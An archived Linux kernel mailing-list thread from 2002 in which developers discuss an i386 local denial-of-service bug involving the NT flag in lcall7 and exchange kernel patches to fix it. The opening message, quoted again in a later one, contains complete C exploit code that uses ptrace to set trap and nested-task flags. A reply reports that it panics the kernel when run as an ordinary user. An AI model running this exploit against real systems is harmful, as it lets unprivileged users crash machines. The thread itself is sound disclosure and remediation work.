linux-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* RE: FW: i386 Linux kernel DoS (clarification)
@ 2002-11-13 20:23 Leif Sawyer
  2002-11-13 21:36 ` Alan Cox
  0 siblings, 1 reply; 10+ messages in thread
From: Leif Sawyer @ 2002-11-13 20:23 UTC (permalink / raw)
  To: Alan Cox, Christoph Hellwig; +Cc: Linux Kernel Mailing List

Here's a little clarification on the problem:

On Wed, 13 Nov 2002, Stefan Laudat wrote:

> Regarding this issue: is it 80x86 or specifically 80386 designed ?
> Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :(

Yep; the first version of the DoS I posted on bugtraq was defective and
worked only under special conditions (inside gdb for example).

However this updated version works much better:

#include <sys/ptrace.h>

struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};

int main( void )
{
    int pid;
    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
    void (* lcall7)( void ) = (void *) dos;
    struct user_regs_struct d;

    if( ! ( pid = fork() ) )
    {
        usleep( 1000 );
        (* lcall7)();
    }
    else
    {
        ptrace( PTRACE_ATTACH, pid, 0, 0 );
        while( 1 )
        {
            wait( 0 );
            ptrace( PTRACE_GETREGS, pid, 0, &d );
            d.eflags |= 0x4100; /* set TF and NT */
            ptrace( PTRACE_SETREGS, pid, 0, &d );
            ptrace( PTRACE_SYSCALL, pid, 0, 0 );
        }
    }

    return 1;
}

At the beginning I thought only kernels <= 2.4.18 were affected; but it
appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
The flaw seems to be related to the kernel's handling of the nested task 
(NT) flag inside a lcall7. 

-- 
Christophe Devine

> -----Original Message-----
> From: Alan Cox [mailto:alan@lxorguk.ukuu.org.uk]
> Sent: Tuesday, November 12, 2002 3:10 PM
> To: Christoph Hellwig
> Cc: Leif Sawyer; Linux Kernel Mailing List
> Subject: Re: FW: i386 Linux kernel DoS
> 
> 
> On Tue, 2002-11-12 at 23:31, Christoph Hellwig wrote:
> > On Tue, Nov 12, 2002 at 02:28:55PM -0900, Leif Sawyer wrote:
> > > This was posted on bugtraq today...
> > 
> > A real segfaulting program?  wow :)
> 
> Looks like the TF handling bug which was fixed a while ago
> 

^ permalink raw reply	[flat|nested] 10+ messages in thread

* RE: FW: i386 Linux kernel DoS (clarification)
  2002-11-13 20:23 FW: i386 Linux kernel DoS (clarification) Leif Sawyer
@ 2002-11-13 21:36 ` Alan Cox
  0 siblings, 0 replies; 10+ messages in thread
From: Alan Cox @ 2002-11-13 21:36 UTC (permalink / raw)
  To: Leif Sawyer; +Cc: Christoph Hellwig, Linux Kernel Mailing List

Try this

(In the Linus Torvalds tradition its not tested)

--- arch/i386/kernel/entry.S~	2002-11-13 21:30:37.000000000 +0000
+++ arch/i386/kernel/entry.S	2002-11-13 21:29:47.000000000 +0000
@@ -126,6 +126,7 @@
 ENTRY(lcall7)
 	pushfl			# We get a different stack layout with call
 				# gates, which has to be cleaned up later..
+	andl $~0x4500, (%esp)	# Clear NT since we are doing an iret
 	pushl %eax
 	SAVE_ALL
 	movl EIP(%esp), %eax	# due to call gates, this is eflags, not eip..
@@ -148,6 +149,7 @@
 ENTRY(lcall27)
 	pushfl			# We get a different stack layout with call
 				# gates, which has to be cleaned up later..
+	andl $~0x4500, (%esp)	# Clear NT since we are doing an iret
 	pushl %eax
 	SAVE_ALL
 	movl EIP(%esp), %eax	# due to call gates, this is eflags, not eip..
@@ -390,6 +392,9 @@
 	pushl $do_divide_error
 	ALIGN
 error_code:
+	pushfl
+	andl $~0x4500, (%esp)		# NT must be clear, do a cld for free
+	popfl
 	pushl %ds
 	pushl %eax
 	xorl %eax, %eax
@@ -400,7 +405,6 @@
 	decl %eax			# eax = -1
 	pushl %ecx
 	pushl %ebx
-	cld
 	movl %es, %ecx
 	movl ORIG_EAX(%esp), %esi	# get the error code
 	movl ES(%esp), %edi		# get the function address

^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: FW: i386 Linux kernel DoS (clarification)
  2002-11-13 21:51   ` Petr Vandrovec
@ 2002-11-14  3:41     ` Andrea Arcangeli
  0 siblings, 0 replies; 10+ messages in thread
From: Andrea Arcangeli @ 2002-11-14  3:41 UTC (permalink / raw)
  To: Petr Vandrovec; +Cc: Alan Cox, Christoph Hellwig, Linux Kernel Mailing List

On Wed, Nov 13, 2002 at 10:51:15PM +0100, Petr Vandrovec wrote:
> On Wed, Nov 13, 2002 at 09:48:15PM +0000, Alan Cox wrote:
> > On Wed, 2002-11-13 at 21:18, Petr Vandrovec wrote:
> > > >     pushfl          # We get a different stack layout with call
> > > >                 # gates, which has to be cleaned up later..
> > > > +   andl $~0x4500, (%esp)   # Clear NT since we are doing an iret
> > > 
> > > this will clear 'D' and 'T' in caller after we do
> > > iret (if lcall7 returns, of course). I'm not sure that callers
> > 
> > You can adjust that if you want, I copied it about - clearing D is fine,
> > in fact it may let us avoid the cld
> 
> Hi,
>    your original code just behaved as my old code: run modprobe successfully,
> and then die. Problem is that copy of eflags on stack is totally unimportant
> to us: current value in eflags is what matters. So this is minimal
> patch which works here: NT, DF and TF are now cleared only for kernel,
> and when we return back from lcall, userspace has its old values.
> 
>    Optimization left to readed is creating SAVE_ALL_NOCLD, and using this
> one in lcall7 and lcall27.
> 
>    With patch below my machine survived test. Unfortunately I do not
> have patched kernel with linux-abi to test whether lcall7 still works
> correctly.
> 						Best regards,
> 							Petr Vandrovec
> 							vandrove@vc.cvut.cz
> 
> 
> --- linux-2.5.47.dist/arch/i386/kernel/entry.S	2002-11-11 12:26:04.000000000 +0100
> +++ linux-2.5.47/arch/i386/kernel/entry.S	2002-11-13 22:40:19.000000000 +0100
> @@ -66,7 +66,9 @@
>  OLDSS		= 0x38
>  
>  CF_MASK		= 0x00000001
> +TF_MASK		= 0x00000100
>  IF_MASK		= 0x00000200
> +DF_MASK		= 0x00000400
>  NT_MASK		= 0x00004000
>  VM_MASK		= 0x00020000
>  
> @@ -132,6 +134,9 @@
>  	movl CS(%esp), %edx	# this is eip..
>  	movl EFLAGS(%esp), %ecx	# and this is cs..
>  	movl %eax,EFLAGS(%esp)	#
> +	andl $~(NT_MASK|TF_MASK|DF_MASK), %eax
> +	pushl %eax
> +	popfl
>  	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
>  	movl %ecx,CS(%esp)	#
>  	movl %esp, %ebx
> @@ -154,6 +159,9 @@
>  	movl CS(%esp), %edx	# this is eip..
>  	movl EFLAGS(%esp), %ecx	# and this is cs..
>  	movl %eax,EFLAGS(%esp)	#
> +	andl $~(NT_MASK|TF_MASK|DF_MASK), %eax
> +	pushl %eax
> +	popfl
>  	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
>  	movl %ecx,CS(%esp)	#
>  	movl %esp, %ebx

this is needed too in addition to the patch I posted in the other thread
to avoid lcall to set NT (my patch only avoids ptrace to set NT and we
need both of them to forbid nt to be set while running in kernel space).

Andrea

^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: FW: i386 Linux kernel DoS (clarification)
  2002-11-13 21:48 ` Alan Cox
@ 2002-11-13 21:51   ` Petr Vandrovec
  2002-11-14  3:41     ` Andrea Arcangeli
  0 siblings, 1 reply; 10+ messages in thread
From: Petr Vandrovec @ 2002-11-13 21:51 UTC (permalink / raw)
  To: Alan Cox; +Cc: Christoph Hellwig, Linux Kernel Mailing List

On Wed, Nov 13, 2002 at 09:48:15PM +0000, Alan Cox wrote:
> On Wed, 2002-11-13 at 21:18, Petr Vandrovec wrote:
> > >     pushfl          # We get a different stack layout with call
> > >                 # gates, which has to be cleaned up later..
> > > +   andl $~0x4500, (%esp)   # Clear NT since we are doing an iret
> > 
> > this will clear 'D' and 'T' in caller after we do
> > iret (if lcall7 returns, of course). I'm not sure that callers
> 
> You can adjust that if you want, I copied it about - clearing D is fine,
> in fact it may let us avoid the cld

Hi,
   your original code just behaved as my old code: run modprobe successfully,
and then die. Problem is that copy of eflags on stack is totally unimportant
to us: current value in eflags is what matters. So this is minimal
patch which works here: NT, DF and TF are now cleared only for kernel,
and when we return back from lcall, userspace has its old values.

   Optimization left to readed is creating SAVE_ALL_NOCLD, and using this
one in lcall7 and lcall27.

   With patch below my machine survived test. Unfortunately I do not
have patched kernel with linux-abi to test whether lcall7 still works
correctly.
						Best regards,
							Petr Vandrovec
							vandrove@vc.cvut.cz


--- linux-2.5.47.dist/arch/i386/kernel/entry.S	2002-11-11 12:26:04.000000000 +0100
+++ linux-2.5.47/arch/i386/kernel/entry.S	2002-11-13 22:40:19.000000000 +0100
@@ -66,7 +66,9 @@
 OLDSS		= 0x38
 
 CF_MASK		= 0x00000001
+TF_MASK		= 0x00000100
 IF_MASK		= 0x00000200
+DF_MASK		= 0x00000400
 NT_MASK		= 0x00004000
 VM_MASK		= 0x00020000
 
@@ -132,6 +134,9 @@
 	movl CS(%esp), %edx	# this is eip..
 	movl EFLAGS(%esp), %ecx	# and this is cs..
 	movl %eax,EFLAGS(%esp)	#
+	andl $~(NT_MASK|TF_MASK|DF_MASK), %eax
+	pushl %eax
+	popfl
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
 	movl %esp, %ebx
@@ -154,6 +159,9 @@
 	movl CS(%esp), %edx	# this is eip..
 	movl EFLAGS(%esp), %ecx	# and this is cs..
 	movl %eax,EFLAGS(%esp)	#
+	andl $~(NT_MASK|TF_MASK|DF_MASK), %eax
+	pushl %eax
+	popfl
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
 	movl %esp, %ebx

^ permalink raw reply	[flat|nested] 10+ messages in thread

* RE: FW: i386 Linux kernel DoS (clarification)
  2002-11-13 21:18 Petr Vandrovec
@ 2002-11-13 21:48 ` Alan Cox
  2002-11-13 21:51   ` Petr Vandrovec
  0 siblings, 1 reply; 10+ messages in thread
From: Alan Cox @ 2002-11-13 21:48 UTC (permalink / raw)
  To: Petr Vandrovec; +Cc: Christoph Hellwig, Linux Kernel Mailing List

On Wed, 2002-11-13 at 21:18, Petr Vandrovec wrote:
> >     pushfl          # We get a different stack layout with call
> >                 # gates, which has to be cleaned up later..
> > +   andl $~0x4500, (%esp)   # Clear NT since we are doing an iret
> 
> this will clear 'D' and 'T' in caller after we do
> iret (if lcall7 returns, of course). I'm not sure that callers

You can adjust that if you want, I copied it about - clearing D is fine,
in fact it may let us avoid the cld

> >  error_code:
> > +   pushfl
> > +   andl $~0x4500, (%esp)       # NT must be clear, do a cld for free
> > +   popfl
> 
> I believe that NT should be automagically cleared by int.

Apparently so - you are I think 100% correct that this isnt needed


^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: FW: i386 Linux kernel DoS (clarification)
  2002-11-13 21:13   ` Petr Vandrovec
@ 2002-11-13 21:47     ` Alan Cox
  0 siblings, 0 replies; 10+ messages in thread
From: Alan Cox @ 2002-11-13 21:47 UTC (permalink / raw)
  To: Petr Vandrovec; +Cc: Leif Sawyer, Linux Kernel Mailing List

On Wed, 2002-11-13 at 21:13, Petr Vandrovec wrote:
> This fixes it for me. I'll have to look at ia32 manual at home, why I
> must do pushl %eax & popfl, as NT should be already cleared by
> do_debug(). I probably miss something obvious, but I do not think that
> adding these three instructions into lcall7/27 fastpath is acceptable.

I dont think you can avoid it without ceasing to be clever. The problem
is Linus or someone pulled a nifty track so that we do an lcall in and
an iret.

lcall doesnt clear NT
iret when it sees NT is set performs a task switch to the link field in
the current TSS. 



^ permalink raw reply	[flat|nested] 10+ messages in thread

* RE: FW: i386 Linux kernel DoS (clarification)
@ 2002-11-13 21:18 Petr Vandrovec
  2002-11-13 21:48 ` Alan Cox
  0 siblings, 1 reply; 10+ messages in thread
From: Petr Vandrovec @ 2002-11-13 21:18 UTC (permalink / raw)
  To: Alan Cox; +Cc: Christoph Hellwig, Linux Kernel Mailing List

On 13 Nov 02 at 21:36, Alan Cox wrote:

> Try this
> 
> (In the Linus Torvalds tradition its not tested)

I'll test it, but before kernel compiles...
 
> --- arch/i386/kernel/entry.S~   2002-11-13 21:30:37.000000000 +0000
> +++ arch/i386/kernel/entry.S    2002-11-13 21:29:47.000000000 +0000
> @@ -126,6 +126,7 @@
>  ENTRY(lcall7)
>     pushfl          # We get a different stack layout with call
>                 # gates, which has to be cleaned up later..
> +   andl $~0x4500, (%esp)   # Clear NT since we are doing an iret

this will clear 'D' and 'T' in caller after we do
iret (if lcall7 returns, of course). I'm not sure that callers
expect that.

> @@ -390,6 +392,9 @@
>     pushl $do_divide_error
>     ALIGN
>  error_code:
> +   pushfl
> +   andl $~0x4500, (%esp)       # NT must be clear, do a cld for free
> +   popfl

I believe that NT should be automagically cleared by int.
                                                Best regards,
                                                      Petr Vandrovec
                                                      vandrove@vc.cvut.cz
                                                      

^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: FW: i386 Linux kernel DoS (clarification)
  2002-11-13 21:10 ` Alan Cox
@ 2002-11-13 21:13   ` Petr Vandrovec
  2002-11-13 21:47     ` Alan Cox
  0 siblings, 1 reply; 10+ messages in thread
From: Petr Vandrovec @ 2002-11-13 21:13 UTC (permalink / raw)
  To: Alan Cox; +Cc: Leif Sawyer, Linux Kernel Mailing List

On Wed, Nov 13, 2002 at 09:10:14PM +0000, Alan Cox wrote:
> On Wed, 2002-11-13 at 20:36, Petr Vandrovec wrote:
> > 2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
> > Next time I'll trust you.
> 
> It does the lcall
> The lcall takes an exception
> The exception (TF) has NT set
> iret returns via the task linkage
> 
> I think just clearing the NT bit in both lcall path _and_ in the TF
> exception handler does the trick.

This fixes it for me. I'll have to look at ia32 manual at home, why I
must do pushl %eax & popfl, as NT should be already cleared by
do_debug(). I probably miss something obvious, but I do not think that
adding these three instructions into lcall7/27 fastpath is acceptable.

Without pushl %eax & popfl it behaved much better than originally: 
modprobe started, said that personality-1 does not exist, and then 
system killed init (instead of killing init immediately).
					Best regards,
						Petr Vandrovec
						vandrove@vc.cvut.cz

 
diff -urN linux-2.5.47.dist/arch/i386/kernel/entry.S linux-2.5.47/arch/i386/kernel/entry.S
--- linux-2.5.47.dist/arch/i386/kernel/entry.S	2002-11-11 12:26:04.000000000 +0100
+++ linux-2.5.47/arch/i386/kernel/entry.S	2002-11-13 22:02:17.000000000 +0100
@@ -131,6 +131,9 @@
 	movl EIP(%esp), %eax	# due to call gates, this is eflags, not eip..
 	movl CS(%esp), %edx	# this is eip..
 	movl EFLAGS(%esp), %ecx	# and this is cs..
+	andl $~NT_MASK, %eax
+	pushl %eax
+	popfl
 	movl %eax,EFLAGS(%esp)	#
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
@@ -153,6 +156,9 @@
 	movl EIP(%esp), %eax	# due to call gates, this is eflags, not eip..
 	movl CS(%esp), %edx	# this is eip..
 	movl EFLAGS(%esp), %ecx	# and this is cs..
+	andl $~NT_MASK, %eax
+	pushl %eax
+	popfl
 	movl %eax,EFLAGS(%esp)	#
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
diff -urN linux-2.5.47.dist/arch/i386/kernel/traps.c linux-2.5.47/arch/i386/kernel/traps.c
--- linux-2.5.47.dist/arch/i386/kernel/traps.c	2002-11-11 12:26:02.000000000 +0100
+++ linux-2.5.47/arch/i386/kernel/traps.c	2002-11-13 21:54:26.000000000 +0100
@@ -636,7 +636,7 @@
 	return;
 
 clear_TF:
-	regs->eflags &= ~TF_MASK;
+	regs->eflags &= ~(TF_MASK|NT_MASK);
 	return;
 }
 

^ permalink raw reply	[flat|nested] 10+ messages in thread

* RE: FW: i386 Linux kernel DoS (clarification)
  2002-11-13 20:36 Petr Vandrovec
@ 2002-11-13 21:10 ` Alan Cox
  2002-11-13 21:13   ` Petr Vandrovec
  0 siblings, 1 reply; 10+ messages in thread
From: Alan Cox @ 2002-11-13 21:10 UTC (permalink / raw)
  To: Petr Vandrovec; +Cc: Leif Sawyer, Linux Kernel Mailing List

On Wed, 2002-11-13 at 20:36, Petr Vandrovec wrote:
> 2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
> Next time I'll trust you.

It does the lcall
The lcall takes an exception
The exception (TF) has NT set
iret returns via the task linkage

I think just clearing the NT bit in both lcall path _and_ in the TF
exception handler does the trick.



^ permalink raw reply	[flat|nested] 10+ messages in thread

* RE: FW: i386 Linux kernel DoS (clarification)
@ 2002-11-13 20:36 Petr Vandrovec
  2002-11-13 21:10 ` Alan Cox
  0 siblings, 1 reply; 10+ messages in thread
From: Petr Vandrovec @ 2002-11-13 20:36 UTC (permalink / raw)
  To: Leif Sawyer; +Cc: Linux Kernel Mailing List

On 13 Nov 02 at 11:23, Leif Sawyer wrote:
> #include <sys/ptrace.h>
> 
> struct user_regs_struct {
>         long ebx, ecx, edx, esi, edi, ebp, eax;
>         unsigned short ds, __ds, es, __es;
>         unsigned short fs, __fs, gs, __gs;
>         long orig_eax, eip;
>         unsigned short cs, __cs;
>         long eflags, esp;
>         unsigned short ss, __ss;
> };
> 
> int main( void )
> {
>     int pid;
>     char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
>     void (* lcall7)( void ) = (void *) dos;
>     struct user_regs_struct d;
> 
>     if( ! ( pid = fork() ) )
>     {
>         usleep( 1000 );
>         (* lcall7)();
>     }
>     else
>     {
>         ptrace( PTRACE_ATTACH, pid, 0, 0 );
>         while( 1 )
>         {
>             wait( 0 );
>             ptrace( PTRACE_GETREGS, pid, 0, &d );
>             d.eflags |= 0x4100; /* set TF and NT */
>             ptrace( PTRACE_SETREGS, pid, 0, &d );
>             ptrace( PTRACE_SYSCALL, pid, 0, 0 );
>         }
>     }
> 
>     return 1;
> }
> 
> At the beginning I thought only kernels <= 2.4.18 were affected; but it
> appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
> The flaw seems to be related to the kernel's handling of the nested task 
> (NT) flag inside a lcall7. 

2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
Next time I'll trust you.
                                                Petr Vandrovec
                                                vandrove@vc.cvut.cz
                                                

^ permalink raw reply	[flat|nested] 10+ messages in thread

end of thread, other threads:[~2002-11-14  3:34 UTC | newest]

Thread overview: 10+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2002-11-13 20:23 FW: i386 Linux kernel DoS (clarification) Leif Sawyer
2002-11-13 21:36 ` Alan Cox
2002-11-13 20:36 Petr Vandrovec
2002-11-13 21:10 ` Alan Cox
2002-11-13 21:13   ` Petr Vandrovec
2002-11-13 21:47     ` Alan Cox
2002-11-13 21:18 Petr Vandrovec
2002-11-13 21:48 ` Alan Cox
2002-11-13 21:51   ` Petr Vandrovec
2002-11-14  3:41     ` Andrea Arcangeli

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).